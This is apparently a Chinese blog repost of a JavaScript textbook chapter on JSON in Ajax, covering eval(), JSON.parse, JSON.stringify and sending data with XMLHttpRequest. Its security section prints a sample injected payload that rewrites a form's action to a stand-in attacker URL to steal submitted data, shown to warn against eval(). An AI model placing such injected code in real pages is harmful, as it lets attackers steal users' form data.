第17章 Ajax 与 JSON (三)

 

17.3 JSON

虽然 XML 在 Ajax 运动中具有举足轻重的地位,但 JavaScript 开发人员很快就对它失去了兴趣。第15章曾经讨论过,在 JavaScript 中操作 XML 存在严重的跨浏览器问题而且从 XML 结果中提取数据也要涉及遍历 DOM 文档,而这些操作都需要编写大量的代码。Douglas Crockford 发明了一种名叫 JSON (JavaScript Object Notation,JavaScript 对象表示法) 的数据格式,用以避免使用 XML 数据的麻烦。

JSON 的基础是JavaScript 语法中的一个子集,特别是对象和数组字面量。使用 JSON 能够创建与 XML 相同的数据结构。例如,(1) 一组名-值对可以使用下面这个包含命名属性的对象来表示

{

"name": "Nicholas C. Zakas",

"title": "Software Engineer",

"author": true,

"age": 29

}

这个例子展示的就是一个包含4个属性的数据对象。每个属性名必须用双引号引起来而属性的值可以是字符串、数值、布尔值、null、对象或者数组。更重要的是,这个数据对象同时还是 JavaScript 中有效的对象字面量,因此可以将它直接赋值给一个变量,如下面的例子所示:

var person = {

"name": "Nicholas C. Zakas",

"title": "Software Engineer",

"author": true,

"age": 29

};

==== 要注意的是,虽然 JavaScript 不要求给对象的属性加引号,但未加引号的属性在 JSON 中则被视为一个语法错误。====

(2) JSON 使用 JavaScript 中的数组字面量语法来表示数组。来看一个例子:

[1, 2, "color", true, null]

数组中的值可以是字符串、数值、布尔值、null、对象或其他数组。例如,可以像下面这样创建一个描述人的对象数组:

[
	{
		"name": "Nicholas C. Zakas",
		"title": "Software Engineer",
		"author": true,
		"age": 29
	},
	{
		"name": "Jim Smith",
		"title": "Salesperson",
		"author": false,
		"age": 35
	}
]


 

==== 切记,这些都是纯文本,而不是 JavaScript 代码。==== 

JSON 的设计意图是在服务器端构建格式化的数据,然后再将数据发送给浏览器。由于 JSON 在 JavaScript 中相当于对象和数组,因此 JSON 字符串可以传递给 eval() 函数,让其解析并返回一个对象或数组的实例。例如,如果将前面的代码保存一个名为 jsonText 的变量中,那么使用以下代码就可以访问其中的数据:

// 求值为一个数组

var people = eval(jsonText);

// 访问数据

alert(people[0].name);

people[1].age = 36;

if (people[0].author) {

alert(people[0].name + " is an author");

}

由于 JSON 结构是被转换为 JavaScript 对象,所以访问这种数据比 XML 方便得多。加上这个转换过程比解析 XML 快,因此 JSON 就成了 XML 的一种很受欢迎的替代格式。

如果你是自己编写代码来对 JSON 求值,最好是将输入的文本放在一对圆括号中。因为 eval() 在对输入的文本求值时,是将其作为 JavaScript 代码而非数据格式来看待的。在对以左花括号开头的对象求值时,就好像是遇到一个没有名字的 JavaScript 语句,结果就会导致错误。将文本放在一对圆括号中可以解决这个问题,因为圆括号表示值而不是语句。来看下面的例子:

var object1 = eval("{}");                                  // 抛出错误

var object2 = eval("({})");                               // 没问题

var object3 = eval("(" + jsonText + ")");       // 通用的解决方案

在这个例子中,第一行代码会抛出错误,因为解释器将花括号看作是未命名的语句。第二行代码将对象字面量放在了圆括号中,因此求值过程很顺利。第三行代码是用来解析任何 JSON 文本的通用的解决方案。

17.3.1 在 Ajax 中使用 JSON 

由于转换的速度快,而且便于在 JavaScript 代码中访问,JSON 在Ajax通信中变得越来越受开发人员的追捧。Web 开发社区已经为几乎所有主流的语言都开发了 JSON 解析器和序列化器,使得通过服务器输出和使用的 JSON 数据变得极为容易。Douglas Crockford 自己也维护着一个针对 JavaScript 的 JSON 序列化器/解析器,下载地址为 http://www.json.org/js.html 。此外,IE8 中包含了 Crockford 解析器的原生版本,而 Firefowx 3.1 也将包含该解析器摆上了议事日程。目前,读者也可以下载他的这个 JavaScript 文件,该文件在所有浏览器中都能正常使用。

在 Crockford 的这个 JSON 库中,有一个全局 JSON 对象,这个对象有两个方法: parse() 和 stringify() 。其中,parse() 方法接受两个参数:JSON 文本和一个可选的过滤函数。在传入的文本是有效的 JSON 的情况下,parse() 方法会返回传入数据的一个对象表示。下面是使用 parse() 方法的示例:

var object = JSON.parse("{}");

与直接使用 eval() 不同的是,这里不需要为传入的文本加圆括号 (因为内部会自动处理)。

第二个参数是一个函数,这个函数以一个 JSON 键和值作为参数。要想让作为参数传入的键出现在结果对象中,该函数必须返回一个值。它的返回值将成为结果对象中与指定键关联的值,因此也就为我们重写默认的解析机制提供了机会。换句话说,在这个函数中针对某个键返回 undefined,就会从结果对象中移除该键,如下面的例子所示:

var jsonText = "{\"name\":\"Nicholas C.Zakas\", \"age\":29, \"author\":true }";
var object = JSON.parse(jsonText, function(key, value){
	switch(key){
		case "age": return value + 1;
		case "author": return undefined;
		default: return value;
	}
});
alert(object.age);           // 30
alert(object.author);        // undefined


在以上代码中,过滤函数会为每个 "age" 键的值加 1 ,会移除数据中的 "author" 键;其他值则会原样返回。于是,结果对象中的 age 属性就变成了 30,但是却没有 author 属性。这种解析功能经常用于处理服务器返回的数据。假设 addressbook.php 会以下面的格式返回 JSON 数据:

[
	{
		"name": "Nicholas C. Zakas",
		"email": "[email protected]"	
	},
	{
		"name": "Jim Smith",
		"email": "[email protected]",	
	},
	{
		"name": "Michael Jones",
		"email": "[email protected]"	
	}
]


 

可以发送一个 Ajax 请求取得以上数据,然后在客户端使用下列代码生成相应的 <ul/> 元素:

var xhr = createXHR();
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
			var contacts = JSON.parse(xhr.responseText);
			var list = document.getElementById("contacts");
			for(var i=0, len=contacts.length; i<len; i++){
				var li = document.createElement("li");
				li.innerHTML = "<a href=\"mailto:" + contacts[i].email + "\">" + contacts[i].name + "</a>";
				list.appendChild(li);
			}
		}
	}	
};
xhr.open("get", "addressbook.php", true);
xhr.send(null);


 

以上代码从服务器取得了 JSON 字符串,然后将它解析成了 JavaScript 数组。得到数组之后,通过迭代遍历其中的每个对象,很容易就可以将相应的值插入到 DOM 中。具体来说, <ul/> 元素会包含一些 <li/> 元素,而每个 <li/> 元素则会包含一个链接,点击可以向一个人发送电子邮件。

JSON 同样也是向服务器发送数据的流行格式。发送数据时,一般会把 JSON 放到 POST 请求主体中,而 JSON 对象的 stringify() 方法正是为此设计的。这个方法接受3个参数:要序列化的对象、可选的替换函数 (用于替换未受支持的 JSON 值) 和可选的缩进说明符 (可以是每个级别缩进的空格数,也可以是用来缩进的字符)。默认情况下,stringify() 返回未经缩进的 JSON 字符串,下面是一个例子:

var contact = {
	name: "Nicholas C. Zakas",
	email: "nicholas@some-domain"	
};
var jsonText = JSON.stringify(contact);
alert(jsonText);


 这个例子中的警告框会显示下列未经缩进的字符串:

{\"name\":\"Nicholas C. Zakas\",\"email\":\"[email protected] \"}

由于并不是所有 JavaScript 值都可以使用 JSON 表示,因此结果中只会包含那些正式得到支持的值。例如,函数和 undefined 值无法通过 JSON 表示,包含它们的任何键默认都将被移除。要改变这个默认的行为,可以在第二个参数的位置上传入一个函数。在序列化过程中每当遇到一个不支持的数据类型时,该函数就会在序列化的对象的作用域中运行,其参数是相应的键和值。对于 JSON 支持的数据类型,序列化过程中不会调用这个函数,这些类型包括:字符串、数值、布尔值、null、对象、数组和 Date (最后一个将被转换成日期的字符串形式)。来看一个例子:

var jsonText = JSON.stringify([new Function()], function(key, value){
	if(value instanceof Function){
		return "(function)";
	}else {
		return value;
	}	
});
alert(jsonText);           // "[(function)]"


这个例子试图序列化一个包含函数的数组。当遇到函数值时,第二个参数 (即过滤函数) 会将它转换为字符串 "(function)" ,该字符串将出现在最终结果中。

使用 POST 请求并将 JSON 文本传递给 send() 方法,可以将 JSON 数据发送给服务器。来看下面的例子:

var xhr = createXHR();
var contact = {
	name: "Ted Jones",
	email: "[email protected]"	
};
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
			alert(xhr.responseText);
		}
	}	
};
xhr.open("post", "addcontact.php", true);
xhr.send(JSON.stringify(contact));

这个例子是要将新联系人信息保存到服务器,因此要将数据发送给 addcontact.php 文件。在根据新联系人信息构建好 contact 对象后,又将它序列化为 JSON 数据并传递给 send() 方法。服务器上的 PHP 页面负责将接收到的 JSON 数据解析回原来的格式,以便服务器端代码能够理解;同时还会向浏览器发送响应。

17.3.2 安全

虽然解析速度是 JSON 的一个重要优势,但 JSON 也有一个明显的缺点:它使用 eval()。我们知道,eval() 函数不仅可以用来解析 JSON 数据,它还可以解释任何 JavaScript 代码。而这就暴露出了一个巨大的安全漏洞。不怀好意的人因此就可以注入与预期 JSON 结构相符的 JavaScript 代码,而该代码传入 eval() 之后就会被执行。来看下面的例子:

[1, 2, (function(){

// 将表单的 action 特性设置为另一个 URL

document.forms[0].action = "http://paht.to.a.bad.com/stealdata.php";

})(), 3, 4]

在这个例子中,响应的文本包含一个匿名函数,这个函数会修改页面中的第一个表单的 action 特性,导致表单在提交时,所有数据都会被提交给一个不同的服务器。在不过滤 JSON 数据就直接将其传递给 eval() 的情况下,很有可能受到这种 XSS 攻击。问题在于,服务器返回的任何 JavaScript 代码在被传递给 eval() 以后,都会在页面的上下文中求值,这实际上就摆脱了为不同资源而设置的一切安全机制。恶意脚本在页面中就像一类成员一样运行,因而可以操作页面中的一切。

Crockford 的 JavaScript JSON 库可以妥当地解析 JSON 字符串,能够确保在将 JSON 转换为 JavaScript 对象时,过滤掉其中包含的恶意代码。我们建议读者在处理 JSON 数据的时候,一定要使用这个库或者其他与之类似的库,以尽量降低遭受代码注入式 XSS 攻击的可能性。

一般来说,应该绝对避免将服务器返回的 JavaScript 代码传入 eval() 函数中。无论使用 JSON 还是 JavaScript ,都有极大可能遭遇恶意拦截和代码注入。因此,对从服务器接收到的任何数据,在将其传入 eval() 之前,必须保证经过适当的分析和验证。

发布了0 篇原创文章 · 获赞 1 · 访问量 5万+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章